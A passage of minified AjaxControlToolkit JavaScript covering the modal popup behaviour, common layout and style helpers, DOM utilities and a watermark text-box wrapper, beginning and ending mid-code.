e=0;e<c._tagWithTabIndex.length;e++){a=c._foregroundElement.getElementsByTagName(c._tagWithTabIndex[e]);for(var b=0;b<a.length;b++){f[d]=a[b];d++}}d=0;for(var e=0;e<c._tagWithTabIndex.length;e++){a=document.getElementsByTagName(c._tagWithTabIndex[e]);for(var b=0;b<a.length;b++)if(Array.indexOf(f,a[b])==-1){c._saveTabIndexes[d]={tag:a[b],index:a[b].tabIndex};a[b].tabIndex="-1";d++}}d=0;if(Sys.Browser.agent===Sys.Browser.InternetExplorer&&Sys.Browser.version<7){for(var g=[],e=0;e<c._tagWithTabIndex.length;e++){a=c._foregroundElement.getElementsByTagName("SELECT");for(var b=0;b<a.length;b++){g[d]=a[b];d++}}d=0;Array.clear(c._saveDesableSelect);a=document.getElementsByTagName("SELECT");for(var b=0;b<a.length;b++)if(Array.indexOf(g,a[b])==-1){c._saveDesableSelect[d]={tag:a[b],visib:$common.getCurrentStyle(a[b],"visibility")};a[b].style.visibility="hidden";d++}}},restoreTab:function(){var a=this;for(var b=0;b<a._saveTabIndexes.length;b++)a._saveTabIndexes[b].tag.tabIndex=a._saveTabIndexes[b].index;Array.clear(a._saveTabIndexes);if(Sys.Browser.agent===Sys.Browser.InternetExplorer&&Sys.Browser.version<7){for(var c=0;c<a._saveDesableSelect.length;c++)a._saveDesableSelect[c].tag.style.visibility=a._saveDesableSelect[c].visib;Array.clear(a._saveDesableSelect)}},hide:function(){var a=new Sys.CancelEventArgs;this.raiseHiding(a);if(a.get_cancel())return false;this._hideImplementation();this.raiseHidden(Sys.EventArgs.Empty);return true},_hideImplementation:function(){var a=this;a._backgroundElement.style.display="none";a._foregroundElement.style.display="none";a.restoreTab();a._detachPopup()},_layout:function(){var b="px",g="absolute",a=this,e=document.documentElement.scrollLeft?document.documentElement.scrollLeft:document.body.scrollLeft,f=document.documentElement.scrollTop?document.documentElement.scrollTop:document.body.scrollTop,h=$common.getClientBounds(),l=h.width,k=h.height;a._layoutBackgroundElement();var c=0,d=0;if(a._xCoordinate<0){var j=a._foregroundElement.offsetWidth?a._foregroundElement.offsetWidth:a._foregroundElement.scrollWidth;c=(l-j)/2;if(a._foregroundElement.style.position==g)c+=e;a._foregroundElement.style.left=c+b}else if(a._isIE6){a._foregroundElement.style.left=a._xCoordinate+e+b;c=a._xCoordinate+e}else{a._foregroundElement.style.left=a._xCoordinate+b;c=a._xCoordinate}if(a._yCoordinate<0){var i=a._foregroundElement.offsetHeight?a._foregroundElement.offsetHeight:a._foregroundElement.scrollHeight;d=(k-i)/2;if(a._foregroundElement.style.position==g)d+=f;a._foregroundElement.style.top=d+b}else if(a._isIE6){a._foregroundElement.style.top=a._yCoordinate+f+b;d=a._yCoordinate+f}else{a._foregroundElement.style.top=a._yCoordinate+b;d=a._yCoordinate}a._layoutForegroundElement(c,d);if(a._dropShadowBehavior){a._dropShadowBehavior.setShadow();window.setTimeout(Function.createDelegate(a,a._fixupDropShadowBehavior),0)}a._layoutBackgroundElement()},_layoutForegroundElement:function(d,e){var a=this;if(a._isIE6&&a._relativeOrAbsoluteParentElement){var c=$common.getLocation(a._foregroundElement),b=$common.getLocation(a._relativeOrAbsoluteParentElement),f=c.x;if(f!=d)a._foregroundElement.style.left=d-b.x+"px";var g=c.y;if(g!=e)a._foregroundElement.style.top=e-b.y+"px"}},_layoutBackgroundElement:function(){var b="px",a=this;if(a._isIE6){var c=$common.getLocation(a._backgroundElement),d=c.x;if(d!=0)a._backgroundElement.style.left=-d+b;var e=c.y;if(e!=0)a._backgroundElement.style.top=-e+b}var f=$common.getClientBounds(),h=f.width,g=f.height;if(Sys.Browser.agent==Sys.Browser.InternetExplorer&&document.compatMode!="CSS1Compat"){a._backgroundElement.style.width=document.body.scrollWidth+b;a._backgroundElement.style.height=document.body.scrollHeight+b}else{a._backgroundElement.style.width=Math.max(Math.max(document.documentElement.scrollWidth,document.body.scrollWidth),h)+b;a._backgroundElement.style.height=Math.max(Math.max(document.documentElement.scrollHeight,document.body.scrollHeight),g)+b}},_fixupDropShadowBehavior:function(){this._dropShadowBehavior&&this._dropShadowBehavior.setShadow()},_partialUpdateEndRequest:function(d,b){var a=this;AjaxControlToolkit.ModalPopupBehavior.callBaseMethod(a,"_partialUpdateEndRequest",[d,b]);if(a.get_element()){var c=b.get_dataItems()[a.get_element().id];if("show"==c)a.show();else"hide"==c&&a.hide()}a._layout()},_onPopulated:function(b,a){AjaxControlToolkit.ModalPopupBehavior.callBaseMethod(this,"_onPopulated",[b,a]);this._layout()},get_PopupControlID:function(){return this._PopupControlID},set_PopupControlID:function(a){if(this._PopupControlID!=a){this._PopupControlID=a;this.raisePropertyChanged("PopupControlID")}},get_X:function(){return this._xCoordinate},set_X:function(a){if(this._xCoordinate!=a){this._xCoordinate=a;this.raisePropertyChanged("X")}},get_Y:function(){return this._yCoordinate},set_Y:function(a){if(this._yCoordinate!=a){this._yCoordinate=a;this.raisePropertyChanged("Y")}},get_PopupDragHandleControlID:function(){return this._PopupDragHandleControlID},set_PopupDragHandleControlID:function(a){if(this._PopupDragHandleControlID!=a){this._PopupDragHandleControlID=a;this.raisePropertyChanged("PopupDragHandleControlID")}},get_BackgroundCssClass:function(){return this._BackgroundCssClass},set_BackgroundCssClass:function(a){if(this._BackgroundCssClass!=a){this._BackgroundCssClass=a;this.raisePropertyChanged("BackgroundCssClass")}},get_DropShadow:function(){return this._DropShadow},set_DropShadow:function(a){if(this._DropShadow!=a){this._DropShadow=a;this.raisePropertyChanged("DropShadow")}},get_Drag:function(){return this._Drag},set_Drag:function(a){if(this._Drag!=a){this._Drag=a;this.raisePropertyChanged("Drag")}},get_OkControlID:function(){return this._OkControlID},set_OkControlID:function(a){if(this._OkControlID!=a){this._OkControlID=a;this.raisePropertyChanged("OkControlID")}},get_CancelControlID:function(){return this._CancelControlID},set_CancelControlID:function(a){if(this._CancelControlID!=a){this._CancelControlID=a;this.raisePropertyChanged("CancelControlID")}},get_OnOkScript:function(){return this._OnOkScript},set_OnOkScript:function(a){if(this._OnOkScript!=a){this._OnOkScript=a;this.raisePropertyChanged("OnOkScript")}},get_OnCancelScript:function(){return this._OnCancelScript},set_OnCancelScript:function(a){if(this._OnCancelScript!=a){this._OnCancelScript=a;this.raisePropertyChanged("OnCancelScript")}},get_repositionMode:function(){return this._repositionMode},set_repositionMode:function(a){if(this._repositionMode!==a){this._repositionMode=a;this.raisePropertyChanged("RepositionMode")}},add_showing:function(a){this.get_events().addHandler("showing",a)},remove_showing:function(a){this.get_events().removeHandler("showing",a)},raiseShowing:function(b){var a=this.get_events().getHandler("showing");a&&a(this,b)},add_shown:function(a){this.get_events().addHandler("shown",a)},remove_shown:function(a){this.get_events().removeHandler("shown",a)},raiseShown:function(b){var a=this.get_events().getHandler("shown");a&&a(this,b)},add_hiding:function(a){this.get_events().addHandler("hiding",a)},remove_hiding:function(a){this.get_events().removeHandler("hiding",a)},raiseHiding:function(b){var a=this.get_events().getHandler("hiding");a&&a(this,b)},add_hidden:function(a){this.get_events().addHandler("hidden",a)},remove_hidden:function(a){this.get_events().removeHandler("hidden",a)},raiseHidden:function(b){var a=this.get_events().getHandler("hidden");a&&a(this,b)}};AjaxControlToolkit.ModalPopupBehavior.registerClass("AjaxControlToolkit.ModalPopupBehavior",AjaxControlToolkit.DynamicPopulateBehaviorBase);AjaxControlToolkit.ModalPopupBehavior.invokeViaServer=function(b,c){var a=$find(b);if(a)if(c)a.show();else a.hide()};�SType.registerNamespace("AjaxControlToolkit");AjaxControlToolkit.BoxSide=function(){};AjaxControlToolkit.BoxSide.prototype={Top:0,Right:1,Bottom:2,Left:3};AjaxControlToolkit.BoxSide.registerEnum("AjaxControlToolkit.BoxSide",false);AjaxControlToolkit._CommonToolkitScripts=function(){};AjaxControlToolkit._CommonToolkitScripts.prototype={_borderStyleNames:["borderTopStyle","borderRightStyle","borderBottomStyle","borderLeftStyle"],_borderWidthNames:["borderTopWidth","borderRightWidth","borderBottomWidth","borderLeftWidth"],_paddingWidthNames:["paddingTop","paddingRight","paddingBottom","paddingLeft"],_marginWidthNames:["marginTop","marginRight","marginBottom","marginLeft"],getCurrentStyle:function(b,c,e){var d="undefined",a=null;if(b){if(b.currentStyle)a=b.currentStyle[c];else if(document.defaultView&&document.defaultView.getComputedStyle){var f=document.defaultView.getComputedStyle(b,null);if(f)a=f[c]}if(!a&&b.style.getPropertyValue)a=b.style.getPropertyValue(c);else if(!a&&b.style.getAttribute)a=b.style.getAttribute(c)}if(!a||a==""||typeof a===d)if(typeof e!=d)a=e;else a=null;return a},getInheritedBackgroundColor:function(b){var d="backgroundColor",c="#FFFFFF";if(!b)return c;var a=this.getCurrentStyle(b,d);try{while(!a||a==""||a=="transparent"||a=="rgba(0, 0, 0, 0)"){b=b.parentNode;if(!b)a=c;else a=this.getCurrentStyle(b,d)}}catch(e){a=c}return a},getLocation:function(a){return Sys.UI.DomElement.getLocation(a)},setLocation:function(b,a){Sys.UI.DomElement.setLocation(b,a.x,a.y)},getContentSize:function(a){if(!a)throw Error.argumentNull("element");var d=this.getSize(a),c=this.getBorderBox(a),b=this.getPaddingBox(a);return {width:d.width-c.horizontal-b.horizontal,height:d.height-c.vertical-b.vertical}},getSize:function(a){if(!a)throw Error.argumentNull("element");return {width:a.offsetWidth,height:a.offsetHeight}},setContentSize:function(a,b){var d="border-box",c=this;if(!a)throw Error.argumentNull("element");if(!b)throw Error.argumentNull("size");if(c.getCurrentStyle(a,"MozBoxSizing")==d||c.getCurrentStyle(a,"BoxSizing")==d){var f=c.getBorderBox(a),e=c.getPaddingBox(a);b={width:b.width+f.horizontal+e.horizontal,height:b.height+f.vertical+e.vertical}}a.style.width=b.width.toString()+"px";a.style.height=b.height.toString()+"px"},setSize:function(a,b){if(!a)throw Error.argumentNull("element");if(!b)throw Error.argumentNull("size");var d=this.getBorderBox(a),c=this.getPaddingBox(a),e={width:b.width-d.horizontal-c.horizontal,height:b.height-d.vertical-c.vertical};this.setContentSize(a,e)},getBounds:function(a){return Sys.UI.DomElement.getBounds(a)},setBounds:function(a,b){if(!a)throw Error.argumentNull("element");if(!b)throw Error.argumentNull("bounds");this.setSize(a,b);$common.setLocation(a,b)},getClientBounds:function(){var b,a;if(document.compatMode=="CSS1Compat"){b=document.documentElement.clientWidth;a=document.documentElement.clientHeight}else{b=document.body.clientWidth;a=document.body.clientHeight}return new Sys.UI.Bounds(0,0,b,a)},getMarginBox:function(b){var c=this;if(!b)throw Error.argumentNull("element");var a={top:c.getMargin(b,AjaxControlToolkit.BoxSide.Top),right:c.getMargin(b,AjaxControlToolkit.BoxSide.Right),bottom:c.getMargin(b,AjaxControlToolkit.BoxSide.Bottom),left:c.getMargin(b,AjaxControlToolkit.BoxSide.Left)};a.horizontal=a.left+a.right;a.vertical=a.top+a.bottom;return a},getBorderBox:function(b){var c=this;if(!b)throw Error.argumentNull("element");var a={top:c.getBorderWidth(b,AjaxControlToolkit.BoxSide.Top),right:c.getBorderWidth(b,AjaxControlToolkit.BoxSide.Right),bottom:c.getBorderWidth(b,AjaxControlToolkit.BoxSide.Bottom),left:c.getBorderWidth(b,AjaxControlToolkit.BoxSide.Left)};a.horizontal=a.left+a.right;a.vertical=a.top+a.bottom;return a},getPaddingBox:function(b){var c=this;if(!b)throw Error.argumentNull("element");var a={top:c.getPadding(b,AjaxControlToolkit.BoxSide.Top),right:c.getPadding(b,AjaxControlToolkit.BoxSide.Right),bottom:c.getPadding(b,AjaxControlToolkit.BoxSide.Bottom),left:c.getPadding(b,AjaxControlToolkit.BoxSide.Left)};a.horizontal=a.left+a.right;a.vertical=a.top+a.bottom;return a},isBorderVisible:function(b,a){if(!b)throw Error.argumentNull("element");if(a<AjaxControlToolkit.BoxSide.Top||a>AjaxControlToolkit.BoxSide.Left)throw Error.argumentOutOfRange(String.format(Sys.Res.enumInvalidValue,a,"AjaxControlToolkit.BoxSide"));var d=this._borderStyleNames[a],c=this.getCurrentStyle(b,d);return c!="none"},getMargin:function(b,a){if(!b)throw Error.argumentNull("element");if(a<AjaxControlToolkit.BoxSide.Top||a>AjaxControlToolkit.BoxSide.Left)throw Error.argumentOutOfRange(String.format(Sys.Res.enumInvalidValue,a,"AjaxControlToolkit.BoxSide"));var d=this._marginWidthNames[a],c=this.getCurrentStyle(b,d);try{return this.parsePadding(c)}catch(e){return 0}},getBorderWidth:function(c,a){var b=this;if(!c)throw Error.argumentNull("element");if(a<AjaxControlToolkit.BoxSide.Top||a>AjaxControlToolkit.BoxSide.Left)throw Error.argumentOutOfRange(String.format(Sys.Res.enumInvalidValue,a,"AjaxControlToolkit.BoxSide"));if(!b.isBorderVisible(c,a))return 0;var e=b._borderWidthNames[a],d=b.getCurrentStyle(c,e);return b.parseBorderWidth(d)},getPadding:function(b,a){if(!b)throw Error.argumentNull("element");if(a<AjaxControlToolkit.BoxSide.Top||a>AjaxControlToolkit.BoxSide.Left)throw Error.argumentOutOfRange(String.format(Sys.Res.enumInvalidValue,a,"AjaxControlToolkit.BoxSide"));var d=this._paddingWidthNames[a],c=this.getCurrentStyle(b,d);return this.parsePadding(c)},parseBorderWidth:function(d){var h="thick",g="medium",f="thin",e=this;if(!e._borderThicknesses){var c={},a=document.createElement("div");a.style.visibility="hidden";a.style.position="absolute";a.style.fontSize="1px";document.body.appendChild(a);var b=document.createElement("div");b.style.height="0px";b.style.overflow="hidden";a.appendChild(b);var i=a.offsetHeight;b.style.borderTop="solid black";b.style.borderTopWidth=f;c[f]=a.offsetHeight-i;b.style.borderTopWidth=g;c[g]=a.offsetHeight-i;b.style.borderTopWidth=h;c[h]=a.offsetHeight-i;a.removeChild(b);document.body.removeChild(a);e._borderThicknesses=c}if(d){switch(d){case f:case g:case h:return e._borderThicknesses[d];case "inherit":return 0}var j=e.parseUnit(d);Sys.Debug.assert(j.type=="px",String.format(AjaxControlToolkit.Resources.Common_InvalidBorderWidthUnit,j.type));return j.size}return 0},parsePadding:function(a){if(a){if(a=="inherit")return 0;var b=this.parseUnit(a);Sys.Debug.assert(b.type=="px",String.format(AjaxControlToolkit.Resources.Common_InvalidPaddingUnit,b.type));return b.size}return 0},parseUnit:function(a){if(!a)throw Error.argumentNull("value");a=a.trim().toLowerCase();for(var g=a.length,c=-1,f=0;f<g;f++){var b=a.substr(f,1);if((b<"0"||b>"9")&&b!="-"&&b!="."&&b!=",")break;c=f}if(c==-1)throw Error.create(AjaxControlToolkit.Resources.Common_UnitHasNoDigits);var e,d;if(c<g-1)e=a.substring(c+1).trim();else e="px";d=parseFloat(a.substr(0,c+1));if(e=="px")d=Math.floor(d);return {size:d,type:e}},getElementOpacity:function(a){if(!a)throw Error.argumentNull("element");var b=false,c;if(a.filters){var e=a.filters;if(e.length!==0){var d=e["DXImageTransform.Microsoft.Alpha"];if(d){c=d.opacity/100;b=true}}}else{c=this.getCurrentStyle(a,"opacity",1);b=true}if(b===false)return 1;return parseFloat(c)},setElementOpacity:function(a,b){if(!a)throw Error.argumentNull("element");if(a.filters){var e=a.filters,c=true;if(e.length!==0){var d=e["DXImageTransform.Microsoft.Alpha"];if(d){c=false;d.opacity=b*100}}if(c)a.style.filter="progid:DXImageTransform.Microsoft.Alpha(opacity="+b*100+")"}else a.style.opacity=b},getVisible:function(a){return a&&"none"!=$common.getCurrentStyle(a,"display")&&"hidden"!=$common.getCurrentStyle(a,"visibility")},setVisible:function(a,b){if(a&&b!=$common.getVisible(a)){if(b)if(a.style.removeAttribute)a.style.removeAttribute("display");else a.style.removeProperty("display");else a.style.display="none";a.style.visibility=b?"visible":"hidden"}},resolveFunction:function(value){if(value)if(value instanceof Function)return value;else if(String.isInstanceOfType(value)&&value.length>0){var func;if((func=window[value])instanceof Function)return func;else if((func=eval(value))instanceof Function)return func}return null},addCssClasses:function(c,b){for(var a=0;a<b.length;a++)Sys.UI.DomElement.addCssClass(c,b[a])},removeCssClasses:function(c,b){for(var a=0;a<b.length;a++)Sys.UI.DomElement.removeCssClass(c,b[a])},setStyle:function(a,b){$common.applyProperties(a.style,b)},removeHandlers:function(c,a){for(var b in a)$removeHandler(c,b,a[b])},overlaps:function(a,b){return a.x<b.x+b.width&&b.x<a.x+a.width&&a.y<b.y+b.height&&b.y<a.y+a.height},containsPoint:function(a,b,c){return b>=a.x&&b<a.x+a.width&&c>=a.y&&c<a.y+a.height},isKeyDigit:function(a){return 48<=a&&a<=57},isKeyNavigation:function(a){return Sys.UI.Key.left<=a&&a<=Sys.UI.Key.down},padLeft:function(c,b,d,a){return $common._pad(c,b||2,d||" ","l",a||false)},padRight:function(c,b,d,a){return $common._pad(c,b||2,d||" ","r",a||false)},_pad:function(c,b,h,e,g){c=c.toString();var f=c.length,d=new Sys.StringBuilder;e=="r"&&d.append(c);while(f<b){d.append(h);f++}e=="l"&&d.append(c);var a=d.toString();if(g&&a.length>b)if(e=="l")a=a.substr(a.length-b,b);else a=a.substr(0,b);return a},__DOMEvents:{focusin:{eventGroup:"UIEvents",init:function(a){a.initUIEvent("focusin",true,false,window,1)}},focusout:{eventGroup:"UIEvents",init:function(a){a.initUIEvent("focusout",true,false,window,1)}},activate:{eventGroup:"UIEvents",init:function(a){a.initUIEvent("activate",true,true,window,1)}},focus:{eventGroup:"UIEvents",init:function(a){a.initUIEvent("focus",false,false,window,1)}},blur:{eventGroup:"UIEvents",init:function(a){a.initUIEvent("blur",false,false,window,1)}},click:{eventGroup:"MouseEvents",init:function(c,a){var b=false;c.initMouseEvent("click",true,true,window,1,a.screenX||0,a.screenY||0,a.clientX||0,a.clientY||0,a.ctrlKey||b,a.altKey||b,a.shiftKey||b,a.metaKey||b,a.button||0,a.relatedTarget||null)}},dblclick:{eventGroup:"MouseEvents",init:function(c,a){var b=false;c.initMouseEvent("click",true,true,window,2,a.screenX||0,a.screenY||0,a.clientX||0,a.clientY||0,a.ctrlKey||b,a.altKey||b,a.shiftKey||b,a.metaKey||b,a.button||0,a.relatedTarget||null)}},mousedown:{eventGroup:"MouseEvents",init:function(c,a){var b=false;c.initMouseEvent("mousedown",true,true,window,1,a.screenX||0,a.screenY||0,a.clientX||0,a.clientY||0,a.ctrlKey||b,a.altKey||b,a.shiftKey||b,a.metaKey||b,a.button||0,a.relatedTarget||null)}},mouseup:{eventGroup:"MouseEvents",init:function(c,a){var b=false;c.initMouseEvent("mouseup",true,true,window,1,a.screenX||0,a.screenY||0,a.clientX||0,a.clientY||0,a.ctrlKey||b,a.altKey||b,a.shiftKey||b,a.metaKey||b,a.button||0,a.relatedTarget||null)}},mouseover:{eventGroup:"MouseEvents",init:function(c,a){var b=false;c.initMouseEvent("mouseover",true,true,window,1,a.screenX||0,a.screenY||0,a.clientX||0,a.clientY||0,a.ctrlKey||b,a.altKey||b,a.shiftKey||b,a.metaKey||b,a.button||0,a.relatedTarget||null)}},mousemove:{eventGroup:"MouseEvents",init:function(c,a){var b=false;c.initMouseEvent("mousemove",true,true,window,1,a.screenX||0,a.screenY||0,a.clientX||0,a.clientY||0,a.ctrlKey||b,a.altKey||b,a.shiftKey||b,a.metaKey||b,a.button||0,a.relatedTarget||null)}},mouseout:{eventGroup:"MouseEvents",init:function(c,a){var b=false;c.initMouseEvent("mousemove",true,true,window,1,a.screenX||0,a.screenY||0,a.clientX||0,a.clientY||0,a.ctrlKey||b,a.altKey||b,a.shiftKey||b,a.metaKey||b,a.button||0,a.relatedTarget||null)}},load:{eventGroup:"HTMLEvents",init:function(a){a.initEvent("load",false,false)}},unload:{eventGroup:"HTMLEvents",init:function(a){a.initEvent("unload",false,false)}},select:{eventGroup:"HTMLEvents",init:function(a){a.initEvent("select",true,false)}},change:{eventGroup:"HTMLEvents",init:function(a){a.initEvent("change",true,false)}},submit:{eventGroup:"HTMLEvents",init:function(a){a.initEvent("submit",true,true)}},reset:{eventGroup:"HTMLEvents",init:function(a){a.initEvent("reset",true,false)}},resize:{eventGroup:"HTMLEvents",init:function(a){a.initEvent("resize",true,false)}},scroll:{eventGroup:"HTMLEvents",init:function(a){a.initEvent("scroll",true,false)}}},tryFireRawEvent:function(a,b){try{if(a.fireEvent){a.fireEvent("on"+b.type,b);return true}else if(a.dispatchEvent){a.dispatchEvent(b);return true}}catch(c){}return false},tryFireEvent:function(e,d,c){try{if(document.createEventObject){var a=document.createEventObject();$common.applyProperties(a,c||{});e.fireEvent("on"+d,a);return true}else if(document.createEvent){var b=$common.__DOMEvents[d];if(b){var a=document.createEvent(b.eventGroup);b.init(a,c||{});e.dispatchEvent(a);return true}}}catch(f){}return false},wrapElement:function(a,b,c){var d=a.parentNode;d.replaceChild(b,a);(c||b).appendChild(a)},unwrapElement:function(b,a){var c=a.parentNode;if(c!=null){$common.removeElement(b);c.replaceChild(b,a)}},removeElement:function(a){var b=a.parentNode;b!=null&&b.removeChild(a)},applyProperties:function(d,c){for(var b in c){var a=c[b];if(a!=null&&Object.getType(a)===Object){var e=d[b];$common.applyProperties(e,a)}else d[b]=a}},createElementFromTemplate:function(a,j,e){var c=null,b="undefined";if(typeof a.nameTable!=b){var g=a.nameTable;if(String.isInstanceOfType(g))g=e[g];if(g!=c)e=g}var l=c;if(typeof a.name!==b)l=a.name;var d=document.createElement(a.nodeName);if(typeof a.name!==b&&e)e[a.name]=d;if(typeof a.parent!==b&&j==c){var h=a.parent;if(String.isInstanceOfType(h))h=e[h];if(h!=c)j=h}typeof a.properties!==b&&a.properties!=c&&$common.applyProperties(d,a.properties);typeof a.cssClasses!==b&&a.cssClasses!=c&&$common.addCssClasses(d,a.cssClasses);typeof a.events!==b&&a.events!=c&&$addHandlers(d,a.events);typeof a.visible!==b&&a.visible!=c&&this.setVisible(d,a.visible);j&&j.appendChild(d);typeof a.opacity!==b&&a.opacity!=c&&$common.setElementOpacity(d,a.opacity);if(typeof a.children!==b&&a.children!=c)for(var k=0;k<a.children.length;k++){var m=a.children[k];$common.createElementFromTemplate(m,d,e)}var i=d;if(typeof a.contentPresenter!==b&&a.contentPresenter!=c)i=e[i];if(typeof a.content!==b&&a.content!=c){var f=a.content;if(String.isInstanceOfType(f))f=e[f];if(f.parentNode)$common.wrapElement(f,d,i);else i.appendChild(f)}return d},prepareHiddenElementForATDeviceUpdate:function(){var b="hiddenInputToUpdateATBuffer_CommonToolkitScripts",a=document.getElementById(b);if(!a){var a=document.createElement("input");a.setAttribute("type","hidden");a.setAttribute("value","1");a.setAttribute("id",b);a.setAttribute("name",b);document.forms[0]&&document.forms[0].appendChild(a)}},updateFormToRefreshATDeviceBuffer:function(){var b="value",a=document.getElementById("hiddenInputToUpdateATBuffer_CommonToolkitScripts");if(a)if(a.getAttribute(b)=="1")a.setAttribute(b,"0");else a.setAttribute(b,"1")},appendElementToFormOrBody:function(a){if(document.forms&&document.forms[0])document.forms[0].appendChild(a);else document.body.appendChild(a)}};if(document.documentElement.getBoundingClientRect)Sys.UI.DomElement.getLocation=function(b){if(b.self||b.nodeType===9||b===document.documentElement||b.parentNode===b.ownerDocument.documentElement)return new Sys.UI.Point(0,0);var f=b.getBoundingClientRect();if(!f)return new Sys.UI.Point(0,0);var k,e=b.ownerDocument.documentElement,c=Math.round(f.left)+e.scrollLeft,d=Math.round(f.top)+e.scrollTop;if(Sys.Browser.agent===Sys.Browser.InternetExplorer){try{var g=b.ownerDocument.parentWindow.frameElement||null;if(g){var h=g.frameBorder==="0"||g.frameBorder==="no"?2:0;c+=h;d+=h}}catch(l){}if(Sys.Browser.version===7&&!document.documentMode){var i=document.body,j=i.getBoundingClientRect(),a=(j.right-j.left)/i.clientWidth;a=Math.round(a*100);a=(a-a%5)/100;if(!isNaN(a)&&a!==1){c=Math.round(c/a);d=Math.round(d/a)}}if((document.documentMode||0)<8){c-=e.clientLeft;d-=e.clientTop}}return new Sys.UI.Point(c,d)};else if(Sys.Browser.agent===Sys.Browser.Safari)Sys.UI.DomElement.getLocation=function(c){var i="absolute",d=null;if(c.window&&c.window===c||c.nodeType===9)return new Sys.UI.Point(0,0);for(var e=0,f=0,l=d,h=d,b,a=c;a;l=a,h=b,a=a.offsetParent){b=Sys.UI.DomElement._getCurrentStyle(a);var g=a.tagName?a.tagName.toUpperCase():d;if((a.offsetLeft||a.offsetTop)&&(g!=="BODY"||(!h||h.position!==i))){e+=a.offsetLeft;f+=a.offsetTop}if(l&&Sys.Browser.version>=3){e+=parseInt(b.borderLeftWidth);f+=parseInt(b.borderTopWidth)}}b=Sys.UI.DomElement._getCurrentStyle(c);var j=b?b.position:d;if(!j||j!==i)for(a=c.parentNode;a;a=a.parentNode){g=a.tagName?a.tagName.toUpperCase():d;if(g!=="BODY"&&g!=="HTML"&&(a.scrollLeft||a.scrollTop)){e-=a.scrollLeft||0;f-=a.scrollTop||0}b=Sys.UI.DomElement._getCurrentStyle(a);var k=b?b.position:d;if(k&&k===i)break}return new Sys.UI.Point(e,f)};else Sys.UI.DomElement.getLocation=function(e){var i="absolute",d=null;if(e.window&&e.window===e||e.nodeType===9)return new Sys.UI.Point(0,0);for(var f=0,g=0,k=d,h=d,b=d,a=e;a;k=a,h=b,a=a.offsetParent){var c=a.tagName?a.tagName.toUpperCase():d;b=Sys.UI.DomElement._getCurrentStyle(a);if((a.offsetLeft||a.offsetTop)&&!(c==="BODY"&&(!h||h.position!==i))){f+=a.offsetLeft;g+=a.offsetTop}if(k!==d&&b){if(c!=="TABLE"&&c!=="TD"&&c!=="HTML"){f+=parseInt(b.borderLeftWidth)||0;g+=parseInt(b.borderTopWidth)||0}if(c==="TABLE"&&(b.position==="relative"||b.position===i)){f+=parseInt(b.marginLeft)||0;g+=parseInt(b.marginTop)||0}}}b=Sys.UI.DomElement._getCurrentStyle(e);var j=b?b.position:d;if(!j||j!==i)for(a=e.parentNode;a;a=a.parentNode){c=a.tagName?a.tagName.toUpperCase():d;if(c!=="BODY"&&c!=="HTML"&&(a.scrollLeft||a.scrollTop)){f-=a.scrollLeft||0;g-=a.scrollTop||0;b=Sys.UI.DomElement._getCurrentStyle(a);if(b){f+=parseInt(b.borderLeftWidth)||0;g+=parseInt(b.borderTopWidth)||0}}}return new Sys.UI.Point(f,g)};var CommonToolkitScripts=AjaxControlToolkit.CommonToolkitScripts=new AjaxControlToolkit._CommonToolkitScripts,$common=CommonToolkitScripts;Sys.UI.DomElement.getVisible=$common.getVisible;Sys.UI.DomElement.setVisible=$common.setVisible;Sys.UI.Control.overlaps=$common.overlaps;AjaxControlToolkit._DomUtility=function(){};AjaxControlToolkit._DomUtility.prototype={isDescendant:function(c,b){for(var a=b.parentNode;a!=null;a=a.parentNode)if(a==c)return true;return false},isDescendantOrSelf:function(b,a){if(b===a)return true;return AjaxControlToolkit.DomUtility.isDescendant(b,a)},isAncestor:function(a,b){return AjaxControlToolkit.DomUtility.isDescendant(b,a)},isAncestorOrSelf:function(a,b){if(a===b)return true;return AjaxControlToolkit.DomUtility.isDescendant(b,a)},isSibling:function(d,c){for(var b=d.parentNode,a=0;a<b.childNodes.length;a++)if(b.childNodes[a]==c)return true;return false}};AjaxControlToolkit._DomUtility.registerClass("AjaxControlToolkit._DomUtility");AjaxControlToolkit.DomUtility=new AjaxControlToolkit._DomUtility;AjaxControlToolkit.TextBoxWrapper=function(b){var a=this;AjaxControlToolkit.TextBoxWrapper.initializeBase(a,[b]);a._current=b.value;a._watermark=null;a._isWatermarked=false};AjaxControlToolkit.TextBoxWrapper.prototype={dispose:function(){this.get_element().AjaxControlToolkitTextBoxWrapper=null;AjaxControlToolkit.TextBoxWrapper.callBaseMethod(this,"dispose")},get_Current:function(){this._current=this.get_element().value;return this._current},set_Current:function(a){this._current=a;this._updateElement()},get_Value:function(){if(this.get_IsWatermarked())return "";else return this.get_Current()},set_Value:function(b){var a=this;a.set_Current(b);if(!b||0==b.length)null!=a._watermark&&a.set_IsWatermarked(true);else a.set_IsWatermarked(false)},get_Watermark:function(){return this._watermark},set_Watermark:function(a){this._watermark=a;this._updateElement()},get_IsWatermarked:function(){return this._isWatermarked},set_IsWatermarked:function(b){var a=this;if(a._isWatermarked!=b){a._isWatermarked=b;a._updateElement();a._raiseWatermarkChanged()}},_updateElement:function(){var a=this,b=a.get_element();if(a._isWatermarked){if(b.value!=a._watermark)b.value=a._watermark}else if(b.value!=a._current)b.value=a._current},add_WatermarkChanged:function(a){this.get_events().addHandler("WatermarkChanged",a)},remove_WatermarkChanged:function(a){this.get_events().removeHandler("WatermarkChanged",a)},_raiseWatermarkChanged:function(){var a=this.get_events().getHandler("WatermarkChanged");a&&a(this,Sys.EventArgs.Empty)}};AjaxControlToolkit.TextBoxWrapper.get_Wrapper=function(a){if(null==a.AjaxControlToolkitTextBoxWrapper)a.AjaxControlToolkitTextBoxWrapper=new AjaxControlToolkit.TextBoxWrapper(a);return a.AjaxControlToolkitTextBoxWrapper};AjaxControlToolkit.TextBoxWrapper.registerClass("AjaxControlToolkit.TextBoxWrapper",Sys.UI.Behavior);AjaxControlToolkit.TextBoxWrapper.validatorGetValue=function(b){var a=$get(b);if(a&&a.AjaxControlToolkitTextBoxWrapper)return a.AjaxControlToolkitTextBoxWrapper.get_Value();return AjaxControlToolkit.TextBoxWrapper._originalValidatorGetValue(b)};if(typeof ValidatorGetValue=="function"){AjaxControlToolkit.TextBoxWrapper._originalValidatorGetValue=ValidatorGetValue;ValidatorGetValue=AjaxControlToolkit.TextBoxWrapper.validatorGetValue}if(Sys.CultureInfo.prototype._getAbbrMonthIndex){Sys.CultureInfo.prototype._getAbbrMonthIndex=function(b){var a=this;if(!a._upperAbbrMonths)a._upperAbbrMonths=a._toUpperArray(a.dateTimeFormat.AbbreviatedMonthNames);return 